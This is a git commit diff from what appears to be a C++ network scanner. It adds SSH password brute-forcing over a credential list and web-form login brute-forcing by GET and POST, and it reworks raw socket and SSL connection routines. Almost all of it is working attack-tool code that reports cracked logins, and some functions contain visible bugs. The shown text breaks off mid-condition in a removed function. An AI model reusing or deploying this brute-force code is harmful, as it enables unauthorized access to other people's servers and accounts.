Refactoring

This commit is contained in:
cora48 2015-03-05 17:29:05 +03:00
parent e151f702c4
commit 30b0b4974b
17 changed files with 655 additions and 1069 deletions

231
Connector.cpp Normal file
View File

@ -0,0 +1,231 @@
#include <Connector.h>
int Connector::_sshConnect(char *user, char *pass, char *host, int port)
{
char hostStr[128] = {0};
ZeroMemory(hostStr, sizeof(hostStr));
strcpy(hostStr, user);
strcat(hostStr, "@");
strcat(hostStr, host);
ssh_session my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
{
ssh_free(my_ssh_session);
return -1;
};
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr);
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0);
int sshTimeout = gTimeOut + 1;
ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
int rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++offlines;
return -2;
}
else
{
rc = ssh_userauth_password(my_ssh_session, NULL, pass);
if (rc != SSH_AUTH_SUCCESS)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
return -1;
};
};
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++ssh;
return 0;
}
char Connector::_get_ssh_banner(char *ip, int port)
{
char recvBuff[256] = {0};
std::string buffer;
Connector::nConnect(ip, port, &buffer);
int sz = buffer.size();
if(sz != 0)
{
strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256);
};
return *recvBuff;
}
int Connector::check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, const char *banner)
{
int res = -1;
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port));
res = _sshConnect(user, pass, host, port);
if(res == 0)
{
stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
buffer->append("|+|");
buffer->append(banner);
return 0;
};
return res;
}
int Connector::_EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner)
{
char login[32] = {0};
char pass[32] = {0};
char temp[64] = {0};
isActive = 1;
BConInc();
int sz = 0;
char *ptr1 = 0;
int res = -1;
for(int i = 0; i < MaxSSHPass; ++i)
{
if(globalScanFlag == false) break;
strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":");
sz = ptr1 - temp;
strncpy(login, temp, sz);
strcpy(pass, ptr1 + 1);
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
ZeroMemory(login, sizeof(login));
ZeroMemory(pass, sizeof(pass));
ZeroMemory(temp, sizeof(temp));
if(res == 0)
{
if(i == 0) return -2; //Failhit
BConDec();
isActive = 0;
return 0;
}
else if(res == -2)
{
BConDec();
isActive = 0;
return -2;
};
Sleep(500);
};
BConDec();
isActive = 0;
return -1;
}
QString strIP;
QString strPort;
int Connector::_SSHLobby(char *ip, int port, std::string *buffer)
{
const char &banner = _get_ssh_banner(ip, port);
if(strlen(&banner) > 0)
{
return _EstablishSSHConnection(ip, port, buffer, &banner);
};
return -1;
}
static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp)
{
((std::string*)userp)->append((char*)contents, size * nmemb);
return size * nmemb;
}
int Connector::nConnect(char *ip, int port, std::string *buffer,
const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL){
CURL *curl = curl_easy_init();
if (curl)
{
curl_easy_setopt(curl, CURLOPT_URL, ip);
curl_easy_setopt(curl, CURLOPT_PORT, port);
curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
curl_easy_setopt(curl, CURLOPT_PROXY, "--");
curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
if(postData != NULL) {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
};
if(customHeaders != NULL) {
struct curl_slist *chunk = NULL;
for(auto &ch : customHeaders) {
chunk = curl_slist_append(chunk, *ch);
}
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
}
curl_easy_perform(curl);
curl_easy_cleanup(curl);
} else {
stt->doEmitionRedFoundData("Curl error.");
return -1;
};
return buffer->size();
}
int Connector::_ConnectToPort(char *ip, int port, char *hl)
{
if(gPingNScan)
{
if(_pingMyTarget(ip) == 0)
{
return -2;
};
};
std::string buffer;
int size = 0;
if(port == 22) size = _SSHLobby(ip, port, &buffer);
else size = nConnect(ip, port, &buffer);
if(size > 0)
{
++Alive;
++found;
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
conSTR CSTR;
CSTR.lowerBuff = new char[size + 1];
CSTR.size = size;
memcpy(CSTR.lowerBuff, buffer.c_str(), size);
memset(CSTR.lowerBuff + size, '\0', 1);
Lexems lx;
lx._filler(port, (char *)buffer.c_str(), ip, size, &lx, hl);
delete []CSTR.lowerBuff;
CSTR.lowerBuff = NULL;
};
return 0;
}

20
Connector.h Normal file
View File

@ -0,0 +1,20 @@
#ifndef CONNECTOR_H
#define CONNECTOR_H
class Connector {
private:
int _sshConnect(char *user, char *pass, char *host, int port);
int _get_ssh_banner(char *ip, int port);
int check_ssh_pass(char *user, char *pass, char *userPass,
char *host, int port, std::string *buffer, const char *banner);
int _EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner);
public:
static int nConnect(char *ip, int port, std::string *buffer,
const char *postData = NULL,
const std::vector<std::string> *customHeaders = NULL);
static int _ConnectToPort(char *ip, int port, char *hl);
static int _SSHLobby(char *ip, int port, std::string *buffer);
};
#endif // CONNECTOR_H

View File

@ -1,6 +1,7 @@
#include "DrawerTh_ME2Scanner.h" #include "DrawerTh_ME2Scanner.h"
#include "STh.h" #include "STh.h"
#include "externData.h" #include "externData.h"
#include <WebformWorker.h>
void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() void DrawerTh_ME2Scanner::doEmitDrawTextPlacers()
{ {

11
Utils.cpp Normal file
View File

@ -0,0 +1,11 @@
#include <Utils.h>
template<typename T> int Utils::ci_find_substr(const T& str1,
const T& str2,
const std::locale& locale) {
auto it = std::search(str1.begin, str1.end, str2.begin, str2.end,
my_equal<typename T::value_type>(locale));
if(it != str1.end()) return it - str1.begin();
else return -1;
}

25
Utils.h Normal file
View File

@ -0,0 +1,25 @@
#ifndef UTILS_H
#define UTILS_H
#include <iostream>
#include <algorithm>
template<typename charT>
struct my_equal {
my_equal( const std::locale loc ) : loc_(loc) {}
bool operator()(charT ch1, charT ch2) {
return std::toupper(ch1, loc_) == std::toupper(ch2, loc_);
}
private:
const std::locale& loc_;
};
class Utils {
public:
// find substring (case insensitive)
template<typename T> static int ci_find_substr(const T& str1,
const T& str2,
const std::locale& loc = std::locale());
};
#endif // UTILS_H

161
WebformWorker.cpp Normal file
View File

@ -0,0 +1,161 @@
#include <WebformWorker.h>
lopaStr WFClass::parseResponse(const char *ip,
const int port,
const std::string *buffer,
const char* formVal,
const int *iIndex,
const int *jIndex) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
if(buffer->size() != 0)
{
if(Utils::ci_find_substr(*buffer, std::string(formVal)) == -1
&& Utils::ci_find_substr(*buffer, std::string("denied")) == -1
&& Utils::ci_find_substr(*buffer, std::string("Location:")) == -1
&& Utils::ci_find_substr(*buffer, std::string("Authentication required")) == -1
&& Utils::ci_find_substr(*buffer, std::string("invalid")) == -1
&& Utils::ci_find_substr(*buffer, std::string("err")) == -1
&& Utils::ci_find_substr(*buffer, std::string(".href")) == -1
&& Utils::ci_find_substr(*buffer, std::string(".replace")) == -1
&& Utils::ci_find_substr(*buffer, std::string(".location")) == -1
&& Utils::ci_find_substr(*buffer, std::string("501 not implemented")) == -1
&& Utils::ci_find_substr(*buffer, std::string("http-equiv")) == -1
&& Utils::ci_find_substr(*buffer, std::string("busy")) == -1
&& Utils::ci_find_substr(*buffer, std::string("later")) == -1
&& Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1
) {
if(*iIndex == 0) return result;
stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " +
QString(wfLoginLst[*iIndex]) + ":" + QString(wfPassLst[*jIndex]));
strcpy(result.login, wfLoginLst[*iIndex]);
strcpy(result.pass, wfPassLst[*jIndex]);
return result;
} else {
if(Utils::ci_find_substr(*buffer, std::string("501 not implemented")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented.");
if(Utils::ci_find_substr(*buffer, std::string("404 not found")) != -1) stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found.");
return result;
}
}
else return result;
}
lopaStr WFClass::doGetCheck(char *ip,
int port,
char *actionVal,
char *userVal,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
int passCounter = 0;
int firstCycle = 0;
for(int i = 0; i < MaxWFLogin; ++i)
{
if(globalScanFlag == false) break;
for(int j = firstCycle; j < MaxWFPass; ++j)
{
if(globalScanFlag == false) break;
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
if(rSize > 256) {
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
return result;
};
char nip[256] = {0};
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, wfLoginLst[i], passVal, wfPassLst[j]);
std::string buffer;
Connector::nConnect(nip, port, &buffer);
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
result = parseResponse(ip, port, &buffer, formVal, &i, &j);
if(i == 0) ++i;
}
firstCycle = 1;
}
return result;
}
lopaStr WFClass::doPostCheck(char *ip,
int port,
char *actionVal,
char *userVal,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
int passCounter = 0;
int firstCycle = 0;
for(int i = 0; i < MaxWFLogin; ++i)
{
if(globalScanFlag == false) break;
for(int j = firstCycle; j < MaxWFPass; ++j)
{
if(globalScanFlag == false) break;
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
if(rSize > 256) {
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
return result;
};
char nip[256] = {0};
char postData[256] = {0};
sprintf(nip, "%s%s", ip, actionVal);
sprintf(postData, "%s=%s&%s=%s", userVal, wfLoginLst[i], passVal, wfPassLst[j]);
std::string buffer;
Connector::nConnect(nip, port, &buffer, postData);
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
return parseResponse(ip, port, &buffer, formVal, &i, &j);
if(i == 0) ++i;
}
firstCycle = 1;
}
return result;
}
lopaStr WFClass::_WFBrute( char *ip,
int port,
char *methodVal,
char *actionVal,
char *userVal,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "UNKNOWN", "UNKNOWN"};
if(strstri(methodVal, "get") != NULL) {
result = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
} else if(strstri(methodVal, "post") != NULL) {
result = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
} else {
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) +
":" + QString::number(port)
+ "\"><font color=\"#c3c3c3\">" +
QString(ip) + ":" + QString::number(port) +
"</font></a> - [WF]: Unknown method.");
};
return result;
}

46
WebformWorker.h Normal file
View File

@ -0,0 +1,46 @@
#ifndef WEBFORMWORKER_H
#define WEBFORMWORKER_H
#include <mainResources.h>
#include <externData.h>
#include <externFunctions.h>
#include <Utils.h>
#include "STh.h"
class WFClass {
private: static bool active;
int passCounter = 1;
lopaStr doGetCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr doPostCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal,
const int *iIndex,
const int *jIndex);
public:
WFClass(){
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
++WF;
BConInc();
active = true;
passCounter = 1;
}
~WFClass(){
active = false;
BConDec();
}
lopaStr _WFBrute(char *ip,
int port,
char *methodVal,
char *actionVal,
char *userVal,
char *passVal,
char *formVal);
};
#endif // WEBFORMWORKER_H

View File

@ -7,6 +7,7 @@
#include "externFunctions.h" #include "externFunctions.h"
#include "externData.h" #include "externData.h"
#include <openssl/err.h> #include <openssl/err.h>
#include <Utils.h>
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#include <iphlpapi.h> #include <iphlpapi.h>
@ -899,7 +900,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
return lps; return lps;
} }
lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
@ -1328,7 +1329,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
return lps; return lps;
} }
lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) lopaStr _FTPLobby(char *ip, int port, PathStr *ps)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
@ -1344,830 +1345,6 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps)
return lps; return lps;
} }
int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
{
SSL *ssl = NULL;
int bytes = 0;
char *recvBuff2 = 0;
int resCode = 0;
const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */
SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */
if(ctx != NULL)
{
SOCKET sock;
SSL_CTX_set_timeout(ctx, gTimeOut);
resCode = OpenConnection(&sock, iph, porth);
if(resCode >= 0)
{
ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, sock); /* attach the socket descriptor */
if(SSL_connect(ssl))
{
SSL_write(ssl, requesth, strlen(requesth));
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(iph), QString(requesth));
int x = 256;
char recvBuff[8192] = {0};
recvBuff2 = new char[RECV_MAX_SIZE];
ZeroMemory(recvBuff2, RECV_MAX_SIZE);
while (x > 0)
{
ZeroMemory(recvBuff, sizeof(recvBuff));
x = SSL_read(ssl, recvBuff, sizeof(recvBuff));
if(x <= 0) break;
bytes += x;
Activity += x;
if( bytes > RECV_MAX_SIZE )
{
if(strstri(recvBuff2, "http/1.") == NULL)
{
if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2);
delete[] recvBuff2;
recvBuff2 = NULL;
CSSOCKET(sock);
++Overl;
CSTR->lowerBuff = new char[11];
strcpy(CSTR->lowerBuff, "[OVERFLOW]");
CSTR->size = 10;
SSL_free(ssl);
SSL_CTX_free(ctx); /* release context */
return 0;
}
else break;
};
if(globalScanFlag == true)
{
if(x > 0)
{
memset((void*)(recvBuff + x), '\0', 1);
strcat(recvBuff2, recvBuff);
}
else
{
if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, recvBuff2);
delete[] recvBuff2;
recvBuff2 = NULL;
CSSOCKET(sock);
CSTR->lowerBuff = new char[12];
strcpy(CSTR->lowerBuff, "[IGNR_ADDR]");
CSTR->size = 11;
SSL_free(ssl);
SSL_CTX_free(ctx); /* release context */
return 0;
};
};
};
if(bytes < 0)
{
stt->doEmitionRedFoundData("[SSL](_SSLConnect [bytes < 0]) " + QString(iph) + ":" + QString::number(porth));
};
SSL_free(ssl);
CSSOCKET(sock);
SSL_CTX_free(ctx); /* release context */
if(bytes == 0 || recvBuff2 == NULL)
{
if(recvBuff2 != NULL) delete []recvBuff2;
recvBuff2 = NULL;
CSTR->lowerBuff = new char[1];
strcpy(CSTR->lowerBuff, "");
CSTR->size = 0;
return -1;
};
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(iph), QString(recvBuff2));
std::string res2 = "";
if(strlen(recvBuff2) > bytes) bytes = strlen(recvBuff2);
CSTR->lowerBuff = new char[bytes + 1];
ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff));
strncpy(CSTR->lowerBuff, recvBuff2, bytes);
delete[] recvBuff2;
recvBuff2 = NULL;
CSTR->size = bytes;
if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff);
return 0;
}
else
{
delete[] recvBuff2;
recvBuff2 = NULL;
CSSOCKET(sock);
SSL_free(ssl);
SSL_CTX_free(ctx); /* release context */
CSTR->lowerBuff = new char[1];
strcpy(CSTR->lowerBuff, "");
CSTR->size = 0;
return 0;
};
} else return -1;
}
else
{
char buff1[512] = {0};
char buff2[512] = {0};
ERR_error_string(ERR_peek_error(), buff1);
ERR_error_string(ERR_peek_last_error(), buff2);
stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
return -1;
}
}
int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR)
{
return _sslConnectTo(iph, porth, requesth, CSTR);
}
void __deleteExcessiveNullBytes(char *buff, int sz)
{
int j = 0;
for(int i = 0; i < sz - 1; ++i)
{
if(buff[i] != 0) buff[j++] = buff[i];
};
}
struct linger linger = { 0 };
int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force)
{
CSTR->lowerBuff = NULL;
if(strlen(ip) == 0)
{
return -1;
};
if(port < 0 || port > 65535)
{
return -1;
};
char *recvBuff2 = NULL;
sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(port);
HOSTENT *host;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip);
#else
if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip);
#endif
else if(host = gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
else
{
++offlines;
if(host == NULL) return -2;
else return -1;
};
SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
while(sock == INVALID_SOCKET)
{
stt->doEmitionRedFoundData("[Cannot create socket]");
CSSOCKET(sock);
Sleep(100);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
};
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
u_long FAR cmd = 1;
if( ioctlsocket( sock, FIONBIO, &cmd ) != 0 )
#else
if( fcntl( sock, F_SETFL, O_NDELAY ) == -1 )
#endif
{
stt->doEmitionRedFoundData("[FIONBIO failed]");
};
int recvBuffSize = 0;
linger.l_onoff = 1;
linger.l_linger = 5;
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
while(sock == INVALID_SOCKET)
{
if(gDebugMode) stt->doEmitionDebugFoundData("[Invalid socket]: " + QString::number(WSAGetLastError()));
CSSOCKET(sock);
Sleep(100);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger));
iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
};
if(iResult == SOCKET_ERROR)
{
iError = WSAGetLastError();
if (iError == WSAEWOULDBLOCK || iError == WSAEINPROGRESS)
{
fd_set read_fs;
fd_set write_fs;
FD_ZERO(&read_fs);
FD_ZERO(&write_fs);
FD_SET(sock, &read_fs);
FD_SET(sock, &write_fs);
timeval tv = { gTimeOut, 0 };
int oldErr = WSAGetLastError();
iResult = select(sock + 1, &read_fs, &write_fs, NULL, &tv);
if (iResult == SOCKET_ERROR)
{
++offlines;
stt->doEmitionRedFoundData("[Omitting IP] Select error-" +
QString::number(WSAGetLastError()) + " oldErr:" + QString::number(oldErr) +
" sock:" + QString::number(sock) + " -" + QString(ip) + ":" + QString::number(port));
}
else
{
if (!iResult) {
++offlines;
stt->doEmitionFoundData(QString::number(WSAGetLastError()));
}
else
{
int sResult = send(sock, request, strlen(request), 0);
while(sResult == SOCKET_ERROR)
{
CSSOCKET(sock);
Sleep(100);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
sResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
if(sResult == SOCKET_ERROR) continue;
sResult = send(sock, request, strlen(request), 0);
};
if(sResult != SOCKET_ERROR)
{
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request));
Activity += strlen(request);
char recvBuff[8192] = {0};
recvBuff2 = new char[RECV_MAX_SIZE];
ZeroMemory(recvBuff2, RECV_MAX_SIZE);
int bTO;
int x = 256;
while (x > 0)
{
ZeroMemory(recvBuff, 8192);
x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO);
if(x <= 0) break;
Activity += x;
recvBuffSize += x;
if( recvBuffSize > RECV_MAX_SIZE )
{
CSSOCKET(sock);
++Overl;
CSTR->lowerBuff = new char[recvBuffSize];
strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize);
CSTR->size = recvBuffSize;
CSTR->overflow = true;
delete[] recvBuff2;
recvBuff2 = NULL;
return 0;
};
strncat(recvBuff2, recvBuff, x);
};
if(strstri(recvBuff2, "no request found") != NULL)
{
ZeroMemory(recvBuff2, RECV_MAX_SIZE);
CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
send(sock, request, strlen(request), 0);
x = 1;
while (x > 0)
{
ZeroMemory(recvBuff, 8192);
x = recvWT(sock, recvBuff, 8192, gTimeOut, &bTO);
if(x <= 0) break;
Activity += x;
recvBuffSize += x;
if( recvBuffSize > RECV_MAX_SIZE )
{
CSSOCKET(sock);
++Overl;
CSTR->lowerBuff = new char[recvBuffSize];
strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize);
CSTR->size = recvBuffSize;
CSTR->overflow = true;
delete[] recvBuff2;
recvBuff2 = NULL;
return 0;
};
strncat(recvBuff2, recvBuff, x);
};
};
}
else
{
++offlines;
stt->doEmitionRedFoundData("[_EC] Send error: " + QString(ip) + " - " + QString::number(WSAGetLastError()));
};
};
};
}
else
{
++offlines;
if (iError == WSAENOBUFS)
{
stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
}
else if (iError == WSAEADDRNOTAVAIL)
{
stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) +
":" + QString::number(port) +
" - " + QString::number(iError));
}
else
{
stt->doEmitionRedFoundData("[Unknown error] " + QString(ip) +
":" + QString::number(port) +
" - " + QString::number(iError));
};
};
}
else
{
stt->doEmitionRedFoundData("[?!] Strange behavior detected (" +
QString::number(WSAGetLastError()) +
") " + QString(ip) + ":" + QString::number(port));
};
CSSOCKET(sock);
if( globalScanFlag == false && force == 0)
{
if(recvBuff2 != NULL) delete []recvBuff2;
recvBuff2 = NULL;
return -1;
};
if(recvBuff2 != NULL && recvBuffSize > 0)
{
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2));
CSTR->lowerBuff = new char[recvBuffSize + 1];
ZeroMemory(CSTR->lowerBuff, recvBuffSize + 1);
CSTR->size = recvBuffSize;
strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize);
memset(CSTR->lowerBuff + recvBuffSize, '\0', 1);
delete []recvBuff2;
recvBuff2 = NULL;
if(HTMLDebugMode) _DebugWriteHTMLToFile(request, CSTR->lowerBuff);
return 0;
}
else
{
if(recvBuff2 != NULL) delete []recvBuff2;
recvBuff2 = NULL;
return -1;
};
}
lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
{
lopaStr lps;
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
int cookieLen = strlen(cookie);
char b[16] = {0};
char request[2048] = {0};
char argData[256] = {0};
Connector con;
conSTR CSTR;
int firstCycle = 0;
if(strstri(methodVal, "get") != NULL)
{
int passCounter = 1;
for(int i = 0; i < MaxWFLogin; ++i)
{
if(globalScanFlag == false) break;
for(int j = firstCycle; j < MaxWFPass; ++j)
{
if(globalScanFlag == false) break;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
strcpy(request, "GET ");
strcat(request, actionVal);
strcat(request, "?");
strcat(request, userVal);
strcat(request, "=");
strcat(request, wfLoginLst[i]);
strcat(request, "&");
strcat(request, passVal);
strcat(request, "=");
strcat(request, wfPassLst[j]);
strcat(request, " HTTP/1.1\r\n");
strcat(request, "Host: ");
strcat(request, ip);
strcat(request, ":");
char tbuff[16] = {0};
sprintf(tbuff, "%d", port);
strcat(request, tbuff);
if(cookieLen != 0)
{
strcat(request, "\r\nCookie: ");
strcat(request, cookie);
};
strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close");
strcat(request, "\r\n\r\n");
if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR);
else con._EstablishConnection(ip, port, request, &CSTR);
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
if(CSTR.lowerBuff != NULL)
{
if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL)
{
stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented.");
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
if(strstri(CSTR.lowerBuff, "404 not found") != NULL)
{
stt->doEmitionRedFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found.");
isActive = 0;
strcpy(lps.login, "UNKNOWN");
return lps;
};
if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL
&& strstri(CSTR.lowerBuff, "Location:") == NULL
&& strstri(CSTR.lowerBuff, "Access forbidden") == NULL
&& strstri(CSTR.lowerBuff, "Authentication required") == NULL
&& strstri(CSTR.lowerBuff, "invalid") == NULL
&& strstri(CSTR.lowerBuff, "error") == NULL
&& strstri(CSTR.lowerBuff, "loginerr") == NULL
&& strstri(CSTR.lowerBuff, "passerr") == NULL
&& strstri(CSTR.lowerBuff, "passworderr") == NULL
&& strstri(CSTR.lowerBuff, "location.href") == NULL
&& strstri(CSTR.lowerBuff, "location.replace") == NULL
&& strstri(CSTR.lowerBuff, "top.location") == NULL
&& strstri(CSTR.lowerBuff, "error_status") == NULL
